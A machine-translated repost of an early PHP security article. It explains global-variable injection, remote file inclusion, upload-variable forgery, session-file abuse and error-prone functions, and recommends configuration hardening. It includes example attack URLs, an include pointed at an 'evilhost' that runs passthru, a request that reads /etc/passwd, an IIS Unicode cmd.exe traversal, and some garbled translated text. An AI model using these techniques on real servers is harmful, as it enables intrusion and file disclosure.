Source: chinaasp
This article is translated because the current articles on CGI security are all examples of Perl, and there are few articles specifically about asp,php or JSP security. Shaun Clowes This article more comprehensive introduction of PHP security issues, the original text can be found in http://www.securereality.com.au/stu...arlet.txt.
Because the original text is relatively long, and a considerable part of the background of the introduction of the article or PHP, not related to the content of PHP security, so I have no translation. If you want to know this knowledge, please refer to the original.
This article mainly from the global variables, remote files, file upload, library files, session files, data types and error-prone functions of several aspects of the security analysis of PHP, and how to enhance the security of PHP put forward some useful suggestions.
Okay, cut the crap, let's talk!
[Global variables]
Variables in PHP do not need to be declared in advance, they are created automatically the first time they are used, and their types do not need to be specified, and they are determined automatically according to the context environment. From a programmer's point of view, this is an extremely convenient way of handling. Obviously, this is also a very useful feature of the rapid development of languages. Once a variable is created, it can be used anywhere in the program. The result of this feature is that programmers rarely initialize variables, after all, when they are first created, they are empty.
Obviously, the main function of a PHP based application is generally to accept user input (mainly form variables, upload files and cookies, etc.), then process the input data and return the results to the client browser. In order for the PHP code to access the user's input as easily as possible, PHP is actually treating these input data as a global variable.
For example:
<form method= "Get" action= "test.php" >
<input type= "TEXT" name= "Hello" >
<input type= "SUBMIT" >
</FORM>
Obviously, this will display a text box and a Submit button. When the user clicks the Submit button, "test.php" handles the user's input, and when "test.php" runs, "$hello" contains the data that the user entered in the text box. From here we should see that attackers can create arbitrary global variables as they wish. If the attacker does not invoke "test.php" through form input, instead, enter Http://server/test.php?hello=hi&set directly in the browser address bar ... Knock Restore so just?/a> $hello "was created," $setup "was also created.
The two methods are what we usually call "POST" and "get" methods.
The following user authentication code exposes the security problems caused by the global variables of PHP:
<?php
if ($pass = = "Hello")
$auth = 1;
...
if ($auth = = 1)
echo "Some important information";
?>
The above code first checks whether the user's password is "Hello", if match, set "$auth" to "1", that is, through authentication. Then, if "$suth" is "1", some important information will be displayed.
The surface appears to be correct, and quite a few of us do this, but this code makes the mistake of taking it for granted that "$auth" is empty without setting a value, but it is not thought that an attacker could create any global variable and assign it through a similar "http://server/ Test.php?auth=1 "the party ... and ya now す imitate?/a>
Therefore, in order to improve the security of PHP programs, we cannot trust any variables that are not explicitly defined. If there are many variables in the program, this is a very difficult task.
A common protection is to check the variables in the array http_get[] or post_vars[], depending on the way we commit (get or post). When PHP is configured to open the "track_vars" option (which is the default), the user-submitted variables can be obtained in the global variable and in the array mentioned above.
But it's worth noting that PHP has four different array variables to handle user input. The Http_get_vars array is used to handle the variables submitted by the Get method, the Http_post_vars array is used to handle the variables submitted by POST, and the Http_cookie_vars array is used to process variables submitted as COOKIE headers, and for HTTP_ The post_files array, which is provided by the newer PHP, is entirely an alternative way for users to submit variables. A user request can easily put variables in these four arrays, so a secure PHP program should check these four arrays.
[Remote Files]
PHP is a rich language and provides a number of functions that make it easy for programmers to implement a feature. But from a security standpoint, the more features, the harder it is to secure it, and the remote file is a good example of the problem:
<?php
if (!) ( $FD = fopen ("$filename", "R"))
Echo ("Could not open file: $filename <br>n");
?>
The above script attempts to open the file "$filename" and displays an error message if it fails. Obviously, if we can specify "$filename", we can use this script to browse any file in the system. However, there is a less obvious feature of this script, which is that it can read files from any other Web or FTP site. In fact, most of the file processing functions of PHP are transparent to the processing of remote files.
For example:
If you specify "$filename" as "Http://target/scripts/..%c1%1c../wi...md.exe?/c+dir"
The above code actually executes the dir command using a Unicode vulnerability on host target.
This enables the include (), require (), include_once () and require_once () of remote files to become more interesting in the context. These functions are primarily used to contain the contents of the specified file and to interpret them in the PHP code, mainly on the library file.
For example:
<?php
Include ($libdir. "/languages.php");
?>
In the example above, "$libdir" is typically a path that has been set before the code is executed, and if an attacker can make "$libdir" not set, then he can change the path. But attackers cannot do anything because they can only access file languages.php in the path they specify (the "Poison null byte" attack in Perl has no effect on PHP). But with support for remote files, an attacker can do anything. For example, an attacker could place a file languages.php on a server containing the following:
<?php
PassThru ("/bin/ls/etc");
?>
The "$libdir" is then set to "http://<evilhost>/" so that we can execute the above attack code on the target host, and the contents of the "/etc" directory are returned to the customer's browser as a result.
It should be noted that the attack server (i.e. Evilhost) should not be able to execute PHP code, otherwise the attack code will be on the attack server, rather than the target server to execute, if you want to know the specific technical details, please refer to: http:// Www.securereality.com.au/sradv00006.txt
[File Upload]
PHP automatically supports file uploads based on RFC 1867, let's look at the following example:
<form method= "POST" enctype= "Multipart/form-data" >
<input type= "FILE" name= "Hello" >
<input type= "HIDDEN" name= "max_file_size" value= "10240" >
<input type= "SUBMIT" >
</FORM>
The above code allows the user to select a file from the local machine, and the file is uploaded to the server when the submission is clicked. This is obviously a useful feature, but the way PHP responds makes this feature unsafe. When PHP first receives this request, and even before it starts parsing the invoked PHP code, it accepts the remote user's file, checking whether the file is longer than the value defined by the "$MAX _file_size variable", if you pass these tests, The file will be present in a local temporary directory.
As a result, an attacker could send arbitrary files to the host running PHP, and the file was already on the server when the PHP program had not yet decided whether to accept the file upload.
Here I will not discuss the possibility of using file uploads to Dos attacks on a server.
Let's consider the PHP program that handles file uploads, as we said above, the files are received and exist on the server (the location is specified in the configuration file, generally/tmp), and the extension is generally random, similar to the "Phpxxuoxg" form. The PHP program needs to upload information about the file to handle it, which can be done in two ways, one in PHP 3, and one in the security bulletin we put in the previous method.
However, we can say for sure that the problem still exists, most PHP programs still use the old way to process uploaded files. PHP set up four global variables to describe the uploaded file, such as the above example:
$hello = Filename on the local machine (e.g "/TMP/PHPXXUOXG")
$hello _size = size in bytes of file (e.g 1024)
$hello _name = The original name of the file on the remote system (e.g "C:\temp\hello.txt")
$hello _type = Mime type of uploaded file (e.g "Text/plain")
Then the PHP program starts processing the file specified according to "$hello", the problem is that "$hello" is not necessarily a variable of PHP settings, and any remote user can specify it. If we use the following method:
Http://vulnhost/vuln.php?hello=/etc..._name=hello.txt
leads to the following PHP global variable (and, of course, the post can be (or even a cookie)):
$hello = "/etc/passwd"
$hello _size = 10240
$hello _type = "Text/plain"
$hello _name = "Hello.txt"
The form data above satisfies the variables expected by the PHP program, but when the PHP program no longer processes the uploaded file, it handles the "/etc/passwd" (which usually results in content exposure). This attack can be used to expose the contents of any sensitive file.
As I said earlier, the new version of PHP uses http_post_files[to decide which files to upload, as well as a number of functions to solve the problem, such as having a function to determine whether a file is actually contained in a file. These functions are a good solution to this problem, but there are certainly a lot of PHP programs that still use the old method and are vulnerable to this attack.
As a variant of the attack method for file uploads, let's take a look at the following code:
<?php
if (file_exists ($theme))//Checks the file exists on the local system (no remote files)
Include ("$theme");
?>
If an attacker can control "$theme", it is clear that it can use "$theme" to read any file on the remote system. The attacker's ultimate goal was to execute arbitrary instructions on the remote server, but he was unable to use the remote file, so he had to create a PHP file on the remote server. This may seem impossible at first glance, but file uploads help us if an attacker first creates a file containing PHP code on the local machine and then creates a form that contains a file field named "Theme." Finally, using this form to upload the created file containing the PHP code to the above code, PHP saves the file the attacker submitted and sets the value of "$theme" to the attacker's file, so the file_exists () function checks through. The attacker's code will also execute.
With the ability to execute arbitrary instructions, the attacker apparently wanted to elevate permissions or gain more, which required some toolset not available on the server, and file uploads helped us again. Attackers can upload tools using the File upload feature, put them on the server, and then take advantage of their ability to execute instructions, use chmod () to change file permissions, and then execute. For example, an attacker could upload a local root attack program bypassing a firewall or IDs, and then execute it, thus obtaining root privileges.
[Library file]
As we discussed earlier, include () and require () are primarily designed to support code libraries, because we typically put some of the functions that are often used in a separate file, which is the code base, and when you need to use the functions in it, We just need to include this code library in the current file.
Initially, when people developed and published PHP programs, in order to distinguish between code base and main program code, they typically set an ". Inc" extension for the code base file, but they quickly discovered that this was a mistake because such a file could not be correctly parsed into PHP code by the PHP interpreter. If we directly request this file on the server, we will get the source code of the file, because when PHP is used as an Apache module, the PHP interpreter is based on the file extension to determine whether to parse the PHP code. The extension is specified by the site administrator, typically ". php", ". PhP3" and ". PhP4". If important configuration data is contained in a PHP file that does not have a suitable extension, it is easy for a remote attacker to get this information.
The easiest way to do this is to specify a php file extension for each file. This is a good way to prevent leaks from the source code, but it creates a new problem that, by requesting this file, an attacker could run the code that was supposed to run in the context, which could lead to all the attacks discussed earlier.
Here is an obvious example:
In main.php:
<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
Include ("$libdir/loadlanguage.php":
?>
In libdir/loadlanguage.php:
<?php
...
Include ("$langDir/$userLang");
?>
It is quite secure when "libdir/loadlanguage.php" is called "main.php", but because "libdir/loadlanguage" has an extension of ". PHP", remote attackers can request this file directly, And you can specify the values of $langDir and $userLang arbitrarily.
[Session file]
PHP 4 or newer versions provide support for sessions, whose primary role is to save state information between pages and page in a PHP program. For example, when a user logs on to the site, he logs on the fact and who logs into the site are saved in the session, and when he is browsing around the site, all the PHP code can get these status information.
In fact, when a session is started (which is actually set in the configuration file to start automatically on the first request), a random "Sessions ID" is generated, and if the remote browser always submits the "session ID" when the request is sent, The session will always be maintained. This is easy to implement with cookies, or it can be done by submitting a form variable (containing the session ID) on each page. PHP program can register a special variable with session, its value will be in the session file after each PHP script is finished, and will be loaded into the variable before each PHP script starts. The following is a simple example:
<?php
Session_destroy (); Kill any data currently in the session
$session _auth = "Shaun";
Session_register ("Session_auth"); Register $session _auth as a session variable
?>
The new version of PHP will automatically set the "$session _auth" value to "Shaun", if they are modified, the future script will automatically accept the modified value, which for the stateless web is indeed a good tool, but we should also be careful.
One obvious problem is to make sure that the variables actually come from the session, for example, given the code above, if the following script is the case:
<?php
if (!empty ($session _auth))
Grant Access to Site
?>
The above code assumes that if the "$session _auth" is placed, it is from the session, not from the user input to set the bit, if the attacker through the form input to place, he can gain access to the site. Note the attacker must use this attack method before the session registers the variable, and any form input will be overwritten once the variable is placed in session.
Session data is generally saved in a file (the location is configurable, generally "/tmp"), and the filename is generally similar to "Sess_<session id>", which contains the variable name, variable type, variable value, and some other data. In a multihomed system, because a file is saved as a user who is running a Web server (typically nobody), a malicious site owner can gain access to other sites by creating a session file, and can even check for sensitive information in the session file.
The session mechanism also provides another convenient place for an attacker to save his or her input in a remote system file, and for the above example, an attacker would need to place a file containing PHP code on the remote system, if the file could not be uploaded. He usually uses the session to assign a value to a variable, then guesses the location of the session file, and he knows that the filename is "php<session id>", so just guess the directory, and the directory is generally "/tmp".
In addition, an attacker could optionally specify "session ID" (such as "Hello") and then use this "session ID" to create a session file (such as "/tmp/sess_hello"), but "session ID" can only be a combination of letters and numbers.
[Data type]
PHP has a relatively loose data type, and the type of the variable depends on the context in which they are located. For example, "$hello" begins with a string variable with a value of "", but when evaluated, it becomes the reshaping variable "0", which can sometimes lead to unexpected results. If the value of "$hello" is different for "000" or "0", the result returned by empty () will not be true.
The array in PHP is an associative array, that is, the index of the array is a string type. This means that "$hello [" 000 "]" and "$hello [0]" are also different.
When developing a program, you should consider the above question carefully, for example, we should not test whether a variable is "0" in one place and use empty () to verify it in another place.
[ERROR-prone functions]
When we analyze vulnerabilities in PHP programs, if we can get the source code, then an error-prone list of functions is very much needed. If we can remotely change the parameters of these functions, then we are likely to discover the vulnerabilities. Here's a list of more detailed, error-prone functions:
<php Code execution >
Require (): reads the contents of the specified file and interprets it as a PHP code
Include (): Ibid.
Eval (): Executes the given string as a PHP code
Preg_replace (): When used with the "/e" switch, the replacement string will be interpreted as PHP code
< command execution >
EXEC (): Executes the specified command, returning the last row of the execution result
PassThru (): Executes the specified command, returns all results to the client browser
': Executes the specified command, returns all results to an array
System (): Same as PassThru (), but does not process binary data
Popen (): Executes the specified command to connect input or output to the PHP file descriptor
< file leaks >
fopen (): Opens the file and corresponds to a PHP file descriptor
ReadFile (): Read the contents of the file, and then output to the client browser
File (): Read the entire contents of the file into an array
In fact, this list is not very full, such as "Mail ()" and other commands may also execute orders, so need to add their own.
[How to enhance PHP security]
All of the attacks I've described above are well implemented for the default installed PHP 4, but I've repeated it many times, PHP has a very flexible configuration, and by configuring some PHP options, we are likely to be able to resist some of these attacks. Below I classify some configurations according to the difficulty of implementation:
* Low Difficulty
* * Medium and low difficulty
Medium and high difficulty
High Difficulty
The above classification is personal, but I can assure you that if you use all the options provided by PHP, your PHP will be safe, even for Third-party code, because many of these features are not available.
Set "Register_globals" to "off"
This option prevents PHP from creating global variables for user input, that is, if the user submits the form variable "Hello", PHP will not create "$ hello" and will only create "http_get/post_vars[' Hello". This is one of the most important options in PHP, and turning off this option can cause a lot of inconvenience to programming.
Set "Safe_mode" to "on"
Opening this option increases the following restrictions:
1. Limit which commands can be executed
2. Limit which functions can be used
3. File access restrictions based on script ownership and target file ownership
4. Prohibit file upload features
This is a great option for ISPs, and it can also greatly improve PHP security.
* * Set "Open_basedir"
This option prevents file operations outside the specified directory, effectively eliminating local files or attacks by include (), but still requires attention to file uploads and session file attacks.
* * Set "display_errors" to "off" and set "Log_errors" to "on"
This option prevents the error message from being displayed in the Web page, but is logged to the log file, which effectively resists the attacker's detection of the function in the target script.
* Set "Allow_url_fopen" to "off"
This option can prohibit remote file function, highly recommended!